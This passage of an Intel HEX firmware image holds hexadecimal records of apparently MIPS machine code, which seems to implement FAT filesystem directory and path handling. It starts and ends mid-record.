500c3831c00c58f2118a3000e\n:1041b0000000638021108200200043a01500c2830c\n:1041c000010042241500c2a31500c2830b0042283f\n:1041d000eaff4014000000000c80828f340040a4ed\n:1041e0002800c28f340040a4ad50400b00000000f6\n:1041f0001600c3972800c28f340043a40c00022489\n:104200001500c2a39e50400b000000001600c3879b\n:104210001500c2832310620021184000ff7f023c7a\n:10422000ffff423421106200401002002c00c38fb7\n:1042300021106200000042940c00401400000000b5\n:104240001600c3971500c283ffff4230231062009f\n:10425000ffff4230ffff4224ffff43302800c28fa0\n:10426000340043a4a150400b000000001500c2839d\n:10427000ffff42241500c2a31500c283e3ff4104df\n:10428000000000000c80828f2800c38f34006394ec\n:10429000340043a42800c28f00a0033ce815632427\n:1042a000300043ac0c80828f00a0033ce8156324ef\n:1042b000300043ac2800c28f3400c38f3c0043acb5\n:1042c0002800c28f3400c38f400043ac2800c28f47\n:1042d000200043805c0002240500621400000000fe\n:1042e0002800c28f340042940f00401000000000ec\n:1042f0002800c28f340042940700401000000000e4\n:104300002800c28f3000428c000043945c000224dd\n:1043100005006210000000009400c38f0200022418\n:104320000a006214000000001000c28f5c00032429\n:10433000000043a01000c28f01004224000040a0f2\n:104340001000c28f5852400b000000001800c0a798\n:10435000d951400b000000002800c28f3400429465\n:1043600045004010000000002800c28f3400429435\n:1043700040100200ffff4230ffff4224ffff4230a7\n:104380001600c2a71951400b000000004c80828f1c\n:1043900018004010000000001800c28701004324ec\n:1043a0001800c3a71000c38f211862001600c2872f\n:1043b000ffff44241600c4a72120400000a0023cb7\n:1043c000e81542242110820000004280000062a013\n:1043d0001800c3872400c297220062140000000066\n:1043e0001800c0a7010002241400c2a31951400bf9\n:1043f000000000001600c38700a0023ce81542241c\n:1044000021106200000042801300401000000000f4\n:104410001800c287010043241800c3a71000c38fef\n:10442000211062001600c48700a0033ce815632435\n:104430002118830000006380000043a01800c38798\n:104440002400c29704006214000000001800c0a7f6\n:10445000010002241400c2a31600c287ffff4224f9\n:104460001600c2a71600c287c8ff41040000000062\n:10447000ad51400b000000000a0002241500c2a349\n:104480002551400b000000001500c283ffff4224ad\n:104490001500c2a31500c2832800c38f211062003b\n:1044a0002000438020000224f7ff6210000000007b\n:1044b0001500c283080042284a0040140000000092\n:1044c0005551400b000000001800c2870100432432\n:1044d0001800c3a71000c38f211862001500c28303\n:1044e000ffff44241500c4a32800c48f21108200bc\n:1044f00020004280000062a01800c3872400c297f9\n:1045000004006214000000001800c0a7010002248b\n:104510001400c2a34c80828f0e00401000000000e7\n:104520001800c287010043241800c3a71000c38fde\n:1045300021106200000040a01800c3872400c29729\n:1045400004006214000000001800c0a7010002244b\n:104550001400c2a31500c28308004228daff4010ed\n:10456000000000001800c287010043241800c3a700\n:104570001000c38f211062002e000324000043a00e\n:104580001800c3872400c2970400621400000000d2\n:104590001800c0a7010002241400c2a34c80828f1f\n:1045a00010004010000000001800c28701004324e2\n:1045b0001800c3a71000c38f21106200000040a0a4\n:1045c0001800c3872400c297060062140000000090\n:1045d0001800c0a7010002241400c2a37e51400ba2\n:1045e000000000007e51400b000000001500c28357\n:1045f000ffff42241500c2a31500c2832800c38f09\n:10460000211062002000438020000224f7ff621086\n:1046100000000000aa51400b000000001800c287f3\n:10462000010043241800c3a71000c38f21186200a3\n:104630001500c283ffff44241500c4a32800c48fc3\n:104640002110820020004280000062a01800c38771\n:104650002400c29704006214000000001800c0a7e4\n:10466000010002241400c2a34c80828f0e0040106f\n:10467000000000001800c287010043241800c3a7ef\n:104680001000c38f21106200000040a01800c387f3\n:104690002400c29704006214000000001800c0a7a4\n:1046a000010002241400c2a31500c283dbff4104f1\n:1046b000000000004c80828f0e00401000000000bf\n:1046c0001800c287010043241800c3a71000c38f3d\n:1046d00021106200000040a01800c3872400c29788\n:1046e00004006214000000001800c0a701000224aa\n:1046f0001400c2a31800c287010043241800c3a7f6\n:104700001000c38f211062005c000324000043a04e\n:104710001800c3872400c297040062140000000040\n:104720001800c0a7010002241400c2a32800c28ff1\n:104730003c00438c2800c28f400043ac2800c48f4b\n:104740007352400f000000000600401000000000ff\n:1047500008000224348182a3211000005852400b2b\n:10476000000000002800c28f3c00438c2481828f0f\n:10477000f9fe6214000000001800c287ffff422407\n:104780001800c2a71600c0a71400c2934d00401025\n:10479000000000001800c2973800c2a70152400b69\n:1047a000000000001600c2871000c38f21106200b5\n:1047b000000042903a00c2a31600c2871000c38fc7\n:1047c000211062001800c3871000c48f21188300d5\n:1047d00000006380000043a01800c2871000c38f50\n:1047e000211062003a00c393000043a01800c28762\n:1047f000ffff42241800c2a71600c287010042240e\n:104800001600c2a71800c3871600c28723106200d3\n:10481000e4ff401c000000003800c2970100422461\n:10482000ffff42301600c2a73000c38f1000c28fb6\n:10483000231062001800c2a72852400b000000009d\n:104840001600c2871000c38f211062000000429042\n:104850003a00c2a31600c2871000c38f2110620065\n:104860001800c3871000c48f2118830000006380e4\n:10487000000043a01800c2871000c38f21106200ff\n:104880003a00c393000043a01800c287ffff4224f0\n:104890001800c2a71600c287010042241600c2a752\n:1048a0001800c3871600c28723106200e4ff401c73\n:1048b000000000003000c28f000040a05752400ba3\n:1048c000000000001800c2973800c2a74d52400bec\n:1048d000000000001600c2871000c38f2110620084\n:1048e000000042903a00c2a31600c2871000c38f96\n:1048f000211062001800c3871000c48f21188300a4\n:1049000000006380000043a01800c2871000c38f1e\n:10491000211062003a00c393000043a01800c28730\n:10492000ffff42241800c2a71600c28701004224dc\n:104930001600c2a71800c3871600c28723106200a2\n:10494000e4ff401c000000003800c2970100422430\n:104950001000c38f21106200000040a01000c28f21\n:1049600021e8c0038c00bf8f8800be8f9000bd2758\n:104970000800e00300000000e0ffbd271c00bfafff\n:104980001800beaf21f0a0032000c4af2400c5afc3\n:10499000010002244c8082af2000c48f2400c58f08\n:1049a000e94e400f000000001000c2af4c8080af05\n:1049b0001000c28f21e8c0031c00bf8f1800be8ffb\n:1049c0002000bd270800e0030000000080ffbd2795\n:1049d0007c00bfaf7800beaf21f0a0038000c4af61\n:1049e000010002242800c2a700a0023ce8154224ce\n:1049f0002000c2af2800c2278000c48f21284000b9\n:104a000001000624e72f400f000000001800c2af8d\n:104a10001800c28f0400401400000000ff000224b0\n:104a20001d54400b000000001800c48f0227400fe7\n:104a300000000000208182af2081828f1b00401483\n:104a4000000000008000c28f5c000324200043a00f\n:104a50001000c0af9f52400b000000008000c38fc9\n:104a60001000c28f2110620020000324200043a008\n:104a70001000c28f010042241000c2af1000c28f8c\n:104a80000b004228f5ff4014000000002481838fb2\n:104a90008000c28f3c0043ac2481838f8000c28f92\n:104aa000400043ac1953400b000000002081828f6e\n:104ab0002400c2af2081838f8000c28f3c0043acb2\n:104ac0002081838f8000c28f400043ac2800c22722\n:104ad0008000c48f2128400001000624e72f400fea\n:104ae000000000001800c2af1800c28f040040147c\n:104af00000000000ff0002241d54400b00000000d5\n:104b00001800c48f0227400f00000000208182aff0\n:104b10002081828f06004014000000002481838fd2\n:104b20008000c28f3c0043accf52400b000000001d\n:104b30002081838f8000c28f3c0043ac8000c28ff5\n:104b40003c00438c8000c28f400043ac2800c0a7cb\n:104b50002800c2278000c48f2128400001000624bd\n:104b6000e72f400f000000001800c2af1800c28fee\n:104b70000400401400000000ff0002241d54400bfc\n:104b8000000000001800c48f0227400f0000000042\n:104b9000208182affc52400b000000002800c22799\n:104ba0008000c48f2128400021300000e72f400ff3\n:104bb000000000001800c2af1800c28f04004014ab\n:104bc00000000000ff0002241d54400b0000000004\n:104bd0002800c29701004224ffff42302800c2a7ec\n:104be0001800c48f0227400f00000000208182af10\n:104bf0002081838f2400c28fe8ff62140000000030\n:104c00002081838f2400c28f1000621400000000f6\n:104c10001800c28f00004380e5ff0224dfff62100e\n:104c2000000000001800c28f0b004390080002240f\n:104c3000daff6210000000001800c28f0b004390e2\n:104c40000f000224d5ff6210000000008000c28f18\n:104c50002400c38f3c0043ac8000c28f2400c38f6c\n:104c6000400043ac1000c0af2c00c2272120400000\n:104c70008000c58f403e400f000000002800c29712\n:104c8000feff4224ffff42307000c2a77000c2271f\n:104c90008000c48f2128400021300000e72f400f02\n:104ca000000000001c00c2afc553400b0000000014\n:104cb0001c00c28f010042907400c2a31c00c28f6e\n:104cc000020042907500c2a31000c28f010043246d\n:104cd0001000c3af401002002000c38f21106200fb\n:104ce0007400c397000043a41c00c28f03004290cd\n:104cf0007400c2a31c00c28f040042907500c2a3be\n:104d00001000c28f010043241000c3af4010020006\n:104d10002000c38f211062007400c397000043a4d9\n:104d20001c00c28f050042907400c2a31c00c28ff9\n:104d3000060042907500c2a31000c28f01004324f8\n:104d40001000c3af401002002000c38f211062008a\n:104d50007400c397000043a41c00c28f0700429058\n:104d60007400c2a31c00c28f080042907500c2a349\n:104d70001000c28f010043241000c3af4010020096\n:104d80002000c38f211062007400c397000043a469\n:104d90001c00c28f090042907400c2a31c00c28f85\n:104da0000a0042907500c2a31000c28f0100432484\n:104db0001000c3af401002002000c38f211062001a\n:104dc0007400c397000043a41000c28f0100432465\n:104dd0001000c3af401002002000c38f21106200fa\n:104de0001c00c38f0e006394000043a41000c28f08\n:104df000010043241000c3af401002002000c38f05\n:104e0000211062001c00c38f10006394000043a4b3\n:104e10001000c28f010043241000c3af40100200f5\n:104e20002000c38f211062001c00c38f1200639406\n:104e3000000043a41000c28f010043241000c3af40\n:104e4000401002002000c38f211062001c00c38f9d\n:104e500014006394000043a41000c28f0100432497\n:104e60001000c3af401002002000c38f2110620069\n:104e70001c00c38f16006394000043a41000c28f6f\n:104e8000010043241000c3af401002002000c38f74\n:104e9000211062001c00c38f18006394000043a41b\n:104ea0001000c28f010043241000c3af4010020065\n:104eb0002000c38f211062001c00c38f1c0063946c\n:104ec000000043a41000c28f010043241000c3afb0\n:104ed000401002002000c38f211062001c00c38f0d\n:104ee0001e006394000043a47000c297ffff422499\n:104ef000ffff42307000c2a77000c2278000c48f3d\n:104f00002128400021300000e72f400f0000000062\n:104f10001c00c2af1c00c28f0b0043900f00022484\n:104f20000a006214000000001c00c28f00004390c1\n:104f3000e500022405006210000000001c00c28f82\n:104f4000000042905aff4014000000002c00c227cd\n:104f50008000c48f21284000403e400f0000000028\n:104f60001000c28f17004014000000001400c0aff2\n:104f7000e953400b000000001800c38f1400c28fdb\n:104f800021106200000043808000c48f1400c28f93\n:104f900021108200200043a01400c28f010042248f\n:104fa0001400c2af1400c28f0b004228f2ff40145d\n:104fb000000000008000c28f340040a41c54400b4d\n:104fc000000000001000c28fffff43308000c28f3e\n:104fd000340043a40c0002241400c2af1554400b4b\n:104fe000000000001000c38f1400c28f2310620065\n:104ff00021184000ff7f023cffff42342110620075\n:10500000401002002000c38f211062000000429473\n:105010000d004014000000001000c28fffff43305d\n:105020001400c28fffff423023106200ffff4230a6\n:10503000ffff4224ffff43308000c28f340043a4af\n:105040001854400b000000001400c28fffff4224e0\n:105050001400c2af1400c28fe2ff41040000000040\n:105060008000c28f00a0033ce8156324300043aced\n:105070002110000021e8c0037c00bf8f7800be8fa4\n:105080008000bd270800e00300000000e8ffbd2706\n:105090001400bfaf1000beaf21f0a0031800c4afd2\n:1050a000212000001800c58f213000004854400f17\n:1050b0000000000021e8c0031400bf8f1000be8f65\n:1050c0001800bd270800e00300000000e0ffbd2736\n:1050d0001c00bfaf1800beaf21f0a0032000c4af7a\n:1050e00001000224488082af212000002000c58feb\n:1050f000213000004854400f000000001000c2aff3\n:10510000488080af1000c28f21e8c0031c00bf8f11\n:105110001800be8f2000bd270800e003000000003b\n:10512000c8fdbd273402bfaf3002beaf21f0a003df\n:10513000211080003c02c5af4002c6af3802c2a3b6\n:105140001200c0a71400c0a73c02c28f1800c2af53\n:105150003c02c28f1c00c2af00a0023c00064224e9\n:105160002000c2af348180a3d8d8400f00000000d7\n:10517000060040100000000018000224348182a3c1\n:10518000ffff02246c57400b000000004880828f14\n:1051900068004010000000003c02c28f1c00c2af3b\n:1051a0001000c0a77154400b000000001c00c28f0b\n:1051b000020042241c00c2af1000c297010042242a\n:1051c0001000c2a71c00c28f000042940b004010c8\n:1051d000000000001c00c28f000043942e00022437\n:1051e00006006210000000001c00c28f0000439403\n:1051f0005c000224edff6214000000001000c29762\n:105200000101422c06004014000000001f0002248f\n:10521000348182a3ffff02246c57400b0000000082\n:105220001200c0a71c00c28f000043942e0002246d\n:1052300020006214000000001c00c28f0200422403\n:105240001c00c2af9954400b000000001c00c28f2c\n:10525000020042241c00c2af1200c2970100422487\n:105260001200c2a71c00c28f00004294060040102a\n:10527000000000001c00c28f000043945c00022468\n:10528000f2ff6214000000001000c3971200c297e2\n:1052900021106200010142280600401400000000b5\n:1052a0001f000224348182a3ffff02246c57400bad\n:1052b000000000001000c3971200c297211862007e\n:1052c0001400c2972a10430007004010000000009d\n:1052d0001000c3971200c297211062001400c2a7e9\n:1052e000bf54400b00000000bf54400b0000000002\n:1052f0001c00c28f020042241c00c2af1c00c28fdf\n:10530000000043945c000224f9ff621000000000da\n:105310001c00c28f000042940400401400000000f2\n:10532000000000003155400b000000006854400ba5\n:10533000000000001000c0a7d654400b0000000081\n:105340001800c28f010042241800c2af1000c2979b\n:10535000010042241000c2a71800c28f0000428042\n:105360000b004010000000001800c28f00004380b6\n:105370002e00022406006210000000001800c28ff8\n:10538000000043805c000224edff62140000000076\n:105390001000c2970101422c0600401400000000da\n:1053a0001f000224348182a3ffff02246c57400bac\n:1053b000000000001200c0a71800c28f0000438048\n:1053c0002e00022420006214000000001800c28f8a\n:1053d000010042241800c2affe54400b0000000040\n:1053e0001800c28f010042241800c2af1200c297f9\n:1053f000010042241200c2a71800c28f00004280a0\n:1054000006004010000000001800c28f000043801a\n:105410005c000224f2ff6214000000001000c39739\n:105420001200c297211062000101422806004014b8\n:10543000000000001f000224348182a3ffff022429\n:105440006c57400b000000001000c3971200c29779\n:10545000211862001400c2972a1043000700401070\n:10546000000000001000c3971200c29721106200d4\n:105470001400c2a72455400b000000002455400b27\n:10548000000000001800c28f010042241800c2afc3\n:105490001800c28f000043805c000224f9ff6210f4\n:1054a000000000001800c28f00004280030040147a\n:1054b000000000003155400b00000000cd54400baf\n:1054c000000000003c02c28f1c00c2af3c02c28f31\n:1054d0001800c2af0c80828f2000c48f21284000aa\n:1054e000403e400f000000004880828f06004010c0\n:1054f000000000001c00c28f000042941000c2a7f0\n:105500004555400b000000001800c28f000042808b\n:105510001000c2a71000c3972e000224800062145e\n:10552000000000004880828f090040100000000049\n:105530001c00c28f020042241c00c2af1c00c28f9c\n:10554000000042941000c2a75a55400b0000000012\n:105550001800c28f010042241800c2af1800c28f89\n:10556000000042801000c2a71000c3972e00022442\n:105570000d006210000000001000c2970a004010e9\n:10558000000000001000c3975c00022406006210b7\n:10559000000000001f000224348182a3ffff0224c8\n:1055a0006c57400b000000001000c3972e0002242f\n:1055b00037006214000000000c80828f3c00438c96\n:1055c0002481828f06006214000000001f00022464\n:1055d000348182a3ffff02246c57400b00000000bf\n:1055e0004880828f09004010000000001c00c28f1c\n:1055f000020042241c00c2af1c00c28f0000429473\n:105600001000c2a78955400b000000001800c28f8f\n:10561000010042241800c2af1800c28f000042806f\n:105620001000c2a71000c3975c000224090062109a\n:10563000000000001000c2970600401000000000ab\n:105640001f000224348182a3ffff02246c57400b09\n:10565000000000004880828f07004010000000001a\n:10566000059d023c00674424414c400f00000000af\n:10567000a455400b00000000059d023c086744242f\n:10568000414c400f00000000b755400b00000000e7\n:10569000b755400b000000004880828f0900401081\n:1056a000000000001c00c28f020042241c00c2af98\n:1056b0001c00c28f000042941000c2a7b755400bd7\n:1056c000000000001800c28f010042241800c2af81\n:1056d0001800c28f000042801000c2a71000c397bc\n:1056e0005c000224ecff6210000000001000c29772\n:1056f0004f004014000000000c80828f21204000e9\n:105700002000c58f403e400f000000001f00022413\n:10571000348182a3ffff02246c57400b000000007d\n:105720001000c3975c0002243f00621400000000d8\n:105730000c80828f2481838f3c0043ac0c80828f4d\n:105740002481838f400043ac1000c0a70c80838f5e\n:105750001000c297010044241000c4a72110620069\n:105760005c000324200043a0e455400b000000002f\n:105770000c80838f1000c297211062002000032448\n:10578000200043a01000c297010042241000c2a7cd\n:105790001000c2970b00422cf5ff401400000000df\n:1057a0004880828f09004010000000001c00c28f5a\n:1057b000020042241c00c2af1c00c28f00004294b1\n:1057c0001000c2a7f955400b000000001800c28f5e\n:1057d000010042241800c2af1800c28f00004280ae\n:1057e0001000c2a71000c3975c00022404006210de\n:1057f000000000001000c2970d00401400000000df\n:105800000c80828f212040002000c58f403e400f39\n:10581000000000001f000224348182a3ffff022445\n:105820006c57400b000000000e56400b00000000bb\n:105830003a55400b000000004880828f2f00401036\n:10584000000000001c00c28f000042941000c2a79c\n:105850001200c0a7000202241400c2a73156400b58\n:10586000000000001200c297010043241200c3a7e9\n:105870001000c397201c037c1000c4272110820055\n:105880001c0043a01200c297010043241200c3a7ca\n:105890001000c397021a0300ffff6330201c037c33\n:1058a0001000c427211082001c0043a01c00c28fde\n:1058b000020042241c00c2af1c00c28f00004294b0\n:1058c0001000c2a71000c2972e0040100000000078\n:1058d0001000c3975c0002242a0062100000000040\n:1058e0001200c3971400c2972b106200ddff401412\n:1058f000000000006156400b000000001800c28f3d\n:10590000000042801000c2a71200c0a700010224bc\n:105910001400c2a75556400b000000001200c297a9\n:10592000010043241200c3a71000c397201c037c6e\n:105930001000c427211082001c0043a01800c28f51\n:10594000010042241800c2af1800c28f000042803c\n:105950001000c2a71000c2970a004010000000000b\n:105960001000c3975c0002240600621000000000d3\n:105970001200c3971400c2972b106200e7ff401477\n:10598000000000004880828f4000401000000000ae\n:105990001200c297010043241200c3a71000c327be\n:1059a000211062001c0040a01200c2971000c32703\n:1059b000211062001c0040a02c00c3832e00022492\n:1059c0005c006214000000002d00c28359004014e6\n:1059d000000000002e00c2830400401400000000fc\n:1059e0002f00c28312004010000000002e00c3836d\n:1059f0002e00022404006214000000002f00c28365\n:105a00000b004010000000000c80828f212040001d\n:105a10002000c58f403e400f000000001f00022400\n:105a2000348182a3ffff02246c57400b000000006a\n:105a30002e00c3832e0002243e00621400000000ea\n:105a40002f00c2833b004014000000003000c283de\n:105a500004004014000000003100c28335004010f3\n:105a6000000000000c80828f212040002000c58fa4\n:105a7000403e400f000000001f000224348182a33a\n:105a8000ffff02246c57400b000000001200c29779\n:105a90001000c327211062001c0040a02c00c3830b\n:105aa0002e00022423006214000000002d00c28397\n:105ab0000f004010000000002d00c3832e000224c0\n:105ac0000b006210000000000c80828f212040003b\n:105ad0002000c58f403e400f000000001f00022440\n:105ae000348182a3ffff02246c57400b00000000aa\n:105af0002d00c3832e0002240e006214000000005b\n:105b00002e00c2830b004010000000000c80828f2a\n:105b1000212040002000c58f403e400f00000000c3\n:105b20001f000224348182a3ffff02246c57400b24\n:105b3000000000002c00c22721204000414c400ff3\n:105b400000000000070040100000000000000000fe\n:105b50004880828f4600401000000000fd56400b38\n:105b600000000000ec56400b000000004880828fcf\n:105b700009004010000000001c00c28f02004224f7\n:105b80001c00c2af1c00c28f000042941000c2a7cc\n:105b9000ec56400b000000001800c28f01004224a8\n:105ba0001800c2af1800c28f000042801000c2a7c8\n:105bb0001000c3975c000224ecff6210000000009c\n:105bc0001000c29709004014000000000c80828f72\n:105bd000212040002000c58f403e400f0000000003\n:105be000211000006c57400b000000000e56400bc7\n:105bf000000000001400c0a72c00c2272400c2af80\n:105c000000a0023ce81542242800c2af1400c2974d\n:105c1000401002002800c38f211062001400c397b7\n:105c2000401803002400c48f2118830000006394ef\n:105c3000000043a41400c297401002002800c38f44\n:105c40002110620000004294060040100000000095\n:105c50001400c297010042241400c2a70357400b4e\n:105c600000000000000000002257400b0000000070\n:105c70002c00c22700a0033ce81564242128400022\n:105c8000574a410f0000000000a0023ce8154424e0\n:105c90007257400f0000000009004014000000008f\n:105ca0000c80828f212040002000c58f403e400f95\n:105cb00000000000ffff02246c57400b00000000b2\n:105cc0002c00c22721204000414c400f0000000062\n:105cd0000b004010000000000c80828f212040004b\n:105ce0002000c58f403e400f000000001b00022432\n:105cf000348182a3ffff02246c57400b0000000098\n:105d00004880828f10004010000000004b57400b6d\n:105d1000000000001c00c28f020042241c00c2af21\n:105d20001c00c28f000042941000c2a71c00c28f4a\n:105d3000000043945c000224f6ff621000000000a3\n:105d40005f57400b000000005a57400b0000000056\n:105d50001800c28f010042241800c2af1800c28f81\n:105d6000000042801000c2a71800c28f00004380cc\n:105d70005c000224f6ff6210000000001000c297d1\n:105d800009004014000000000c80828f2120400098\n:105d90002000c58f403e400f000000002110000091\n:105da0006c57400b000000000e56400b0000000036\n:105db00021e8c0033402bf8f3002be8f3802bd27f6\n:105dc0000800e00300000000d0ffbd272c00bfaf9b\n:105dd0002800beaf21f0a0033000c4af00a0023cf9\n:105de000a01342241400c2af2000c0a73000c48f0b\n:105df0001400c58f213000007644400f00000000e1\n:105e0000060040140000000012000224348182a326\n:105e100021100000e457400b000000000c80828f2e\n:105e20003c00438c1400c28f3c0043ac0c80828f3a\n:105e30004000438c1400c28f400043ac1400c28f5a\n:105e4000040040ac1400c28f080040ac0c80828f6c\n:105e50000000438c1400c28f000043ac2000c22716\n:105e60001400c48f212840001200062401000724da\n:105e7000e630400f00000000040040100000000069\n:105e800021100000e457400b000000003c8082938a\n:105e900010004010000000001400c28f0000428c6f\n:105ea00021204000212800002130000001000724ab\n:105eb000c64a400f0000000006004010000000002d\n:105ec00009000224348182a321100000e457400b12\n:105ed000000000001400c28f3c00438c2481828f9c\n:105ee00004006214000000001000c0afc057400b57\n:105ef000000000001400c28f3c00428c1000c2afb2\n:105f00001400c28f3c00438c1400c28f400043ac8d\n:105f10002000c2271400c48f21284000010006245d\n:105f2000e72f400f000000001800c2af1800c28f1a\n:105f300006004014000000001b000224348182a3ec\n:105f400021100000e457400b000000001800c48f2f\n:105f50000227400f000000001c00c2af1400c28fd7\n:105f60000000428c212040001c00c58f1000c68f0d\n:105f7000ea57400f0000000004004010000000003d\n:105f800001000224e457400b000000002110000033\n:105f900021e8c0032c00bf8f2800be8f3000bd2732\n:105fa0000800e00300000000b8ffbd274400bfafb9\n:105fb0004000beaf21f0a0034800c4af4c00c5af05\n:105fc0005000c6af2000c2271400c2af408080af8f\n:105fd000200002241800c2a74800c28f0300438893\n:105fe000000043984800c28f1d004488212880008b\n:105ff0001a0045982110a0002120600021280000ef\n:10600000213040007152410f000000002e00022498\n:106010002000c2a3010002241000c2a71158400ba7\n:10602000000000001000c2971000c327211062007a\n:1060300020000324100043a01000c2970100422456\n:106040001000c2a71000c2970800422cf5ff4014b0\n:10605000000000001000c0a72058400b0000000006\n:106060001000c2971000c3272110620020000324f3\n:10607000180043a01000c297010042241000c2a7dc\n:106080001000c2970300422cf5ff401400000000ee\n:10609000100002242b00c2a32c00c0a34c00c28f0e\n:1060a000ffff42303a00c2a74c00c38fff0f023cf3\n:1060b0002410620002140200ffff42303400c2a725\n:1060c0003c00c0af128182932d00c2a32881829729\n:1060d0002e00c2a7368182973000c2a73200c0a727\n:1060e0003600c0a73800c0a71000c0a74b58400b0f\n:1060f000000000004800c28f03004388000043985e\n:106100001000c297211062001000c3971400c48fc2\n:106110002118830000006380ff006330000043a06b\n:106120001000c297010042241000c2a71000c397bc\n:106130001800c2972b106200eeff40140000000010\n:106140002e0002242100c2a35000c28fffff423064\n:106150003a00c2a75000c38fff0f023c2410620018\n:1061600002140200ffff42303400c2a71000c0a793\n:106170006e58400b000000004800c28f03004388a7\n:10618000000043981000c4971800c29721108200a5\n:10619000211062001000c3971400c48f21188300df\n:1061a00000006380ff006330000043a01000c2972e\n:1061b000010042241000c2a71000c3971800c29724\n:1061c0002b106200ecff4014000000004800c48f58\n:1061d0004c00c58f6d3f400f000000001c00c2af97\n:1061e0004800c28f030043882120600000004498cb\n:1061f000211080001c00c48f2128400021300000a5\n:106200009ad8400f00000000060040140000000073\n:1062100009000224348182a3211000008a58400b17\n:10622000000000000100022421e8c0034400bf8fe9\n:106230004000be8f4800bd270800e00300000000ba\n:10624000e8ffbd271400bfaf1000beaf21f0a003d0\n:106250001800c4af2110a0001c00c2a31c00c293f0\n:10626000212000001800c58f213000002138400097\n:10627000bd58400f0000000021e8c0031400bf8f8c\n:106280001000be8f1800bd270800e00300000000ca\n:10629000e0ffbd271c00bfaf1800beaf21f0a00378\n:1062a0002000c4af2110a0002400c2a301000224da\n:1062b000488082af2400c293212000002000c58fb7\n:1062c0002130000021384000bd58400f0000000080\n:1062d0001000c2af488080af1000c28f21e8c00319\n:1062e0001c00bf8f1800be8f2000bd270800e003f0\n:1062f0000000000070fdbd278c02bfaf8802beaf5a\n:1063000021f0a003211880009402c5af9802c6af07\n:106310002110e0009002c3a39c02c2a300a0023c93\n:10632000000642242400c2af00a0023ca013422475\n:106330002800c2af3400c0a71600c0a74880828fd3\n:106340002c00c2af3800c2273000c2af348180a316\n:106350000c80828f2400c48f21284000403e400fd3\n:10636000000000009402c48f414c400f0000000068\n:1063700006004010000000000c000224348182a3bb\n:10638000ffff0224d65d400b000000000c80828fce\n:106390003c00438c2481828f0700621000000000c3\n:1063a0000c80828f3c00438c2400c28f3c00428cc6\n:1063b0000b006214000000000c80828f212040003e\n:1063c0002400c58f403e400f000000001f00022443\n:1063d000348182a3ffff0224d65d400b0000000041\n:1063e0003400c29701004224ffff42303400c2a7ac\n:1063f0000c80838f3400c2272120600021284000b8\n:1064000001000624e72f400f000000001000c2af7b\n:106410001000c28f0b004014000000000c80828f1f\n:10642000212040002400c58f403e400f00000000a6\n:106430001b000224348182a3ffff0224d65d400b9f\n:10644000000000003400c29701004224ffff4230e8\n:106450003400c2a70c80838f3400c2272120600043\n:106460002128400021300000e72f400f00000000ed\n:106470001000c2af1000c28f0b00401400000000db\n:106480000c80828f212040002400c58f403e400fa9\n:10649000000000001b000224348182a3ffff0224bd\n:1064a000d65d400b000000009c02c29331004014f6\n:1064b000000000005759400b000000001000c28f80\n:1064c00000004380e5ff02240b0062100000000082\n:1064d0000c80828f212040002400c58f403e400f59\n:1064e0000000000016000224348182a3ffff022472\n:1064f000d65d400b000000003400c297010042242a\n:10650000ffff42303400c2a70c80838f3400c227c3\n:10651000212060002128400021300000e72f400f9b\n:10652000000000001000c2af1000c28f0b0040142a\n:10653000000000000c80828f212040002400c58fc5\n:10654000403e400f000000001b000224348182a363\n:10655000ffff0224d65d400b000000001000c28f38\n:1065600000004280d5ff4014000000006b5d400b2e\n:10657000000000002a8180a31400c0a72400c28f5d\n:106580003800c327300043ac2800c28f3800c3272f\n:10659000300043ac685d400b000000001000c28f6b\n:1065a0000000428019024010000000001000c28f5d\n:1065b00000004380e5ff0224ee00621000000000ae\n:1065c0001000c28f0b0043900f000224e9006214f8\n:1065d000000000001000c28f1c00c2af1c00c28f60\n:1065e00000004290400042301700401000000000c0\n:1065f0001c00c28f00004290bfff4224ffff4230c8\n:10660000211840002110600080100200802002004c\n:106610002310820021104300ffff42301600c2a762\n:106620001600c2870d004224401002003000c38fc4\n:1066300021106200000040a4010002242000c2af2b\n:106640009f59400b000000001c00c28f00004290c8\n:10665000ffff4224ffff423021184000211060005c\n:1066600080100200802002002310820021104300cd\n:10667000ffff42301600c2a72000c0af1c00c28f2f\n:10668000010042908002c2a31c00c28f020042900f\n:106690008102c2a31600c287010043241600c3a7cb\n:1066a000401002003000c38f211062008002c397a7\n:1066b000000043a41c00c28f030042908002c2a3ca\n:1066c0001c00c28f040042908102c2a31600c28740\n:1066d000010043241600c3a7401002003000c38ffe\n:1066e000211062008002c397000043a41c00c28fe7\n:1066f000050042908002c2a31c00c28f0600429097\n:106700008102c2a31600c287010043241600c3a75a\n:10671000401002003000c38f211062008002c39736\n:10672000000043a41c00c28f070042908002c2a355\n:106730001c00c28f080042908102c2a31600c287cb\n:10674000010043241600c3a7401002003000c38f8d\n:10675000211062008002c397000043a41c00c28f76\n:10676000090042908002c2a31c00c28f0a0042901e\n:106770008102c2a31600c287010043241600c3a7ea\n:10678000401002003000c38f211062008002c397c6\n:10679000000043a41600c287010043241600c3a7cb\n:1067a000401002003000c38f211062001c00c38f14\n:1067b0000e006394000043a41600c2870100432426\n:1067c0001600c3a7401002003000c38f21106200e2\n:1067d0001c00c38f10006394000043a41600c287fe\n:1067e000010043241600c3a7401002003000c38fed\n:1067f000211062001c00c38f12006394000043a4a8\n:106800001600c287010043241600c3a740100200ef\n:106810003000c38f211062001c00c38f14006394ea\n:10682000000043a41600c287010043241600c3a73a\n:10683000401002003000c38f211062001c00c38f83\n:1068400016006394000043a41600c287010043248d\n:106850001600c3a7401002003000c38f2110620051\n:106860001c00c38f18006394000043a41600c28765\n:10687000010043241600c3a7401002003000c38f5c\n:10688000211062001c00c38f1c006394000043a40d\n:106890001600c287401002003000c38f2110620032\n:1068a0001c00c38f1e006394000043a42000c28f0d\n:1068b0002a004010000000001600c3972400c28f79\n:1068c000340043a40c0002241800c2a3505a400b09\n:1068d000000000001600c3871800c2832310620066\n:1068e00021184000ff7f023cffff4234211062006c\n:1068f000401002003000c38f21106200000042945b\n:106900000c004014000000001600c3971800c2835a\n:10691000ffff423023106200ffff4230ffff42249e\n:10692000ffff43302400c28f340043a4535a400b6e\n:10693000000000001800c283ffff42241800c2a319\n:106940001800c283e3ff4104000000002400c28f4e\n:10695000340043942800c28f340043a43400c2970b\n:1069600001004224ffff42303400c2a7585b400bb5\n:10697000000000001000c28f00004380e5ff0224e9\n:10698000f3006210000000001000c28f0b00439063\n:1069900008000224ee006210000000001000c28f08\n:1069a0000b0043900f000224e90062100000000079\n:1069b0001000c28f0b00429010004230880040103f\n:1069c000000000001400c297010042241400c2a776\n:1069d0002400c28f340042941000401000000000d8\n:1069e00001000224488082af3800c22721204000e5\n:1069f000414c400f000000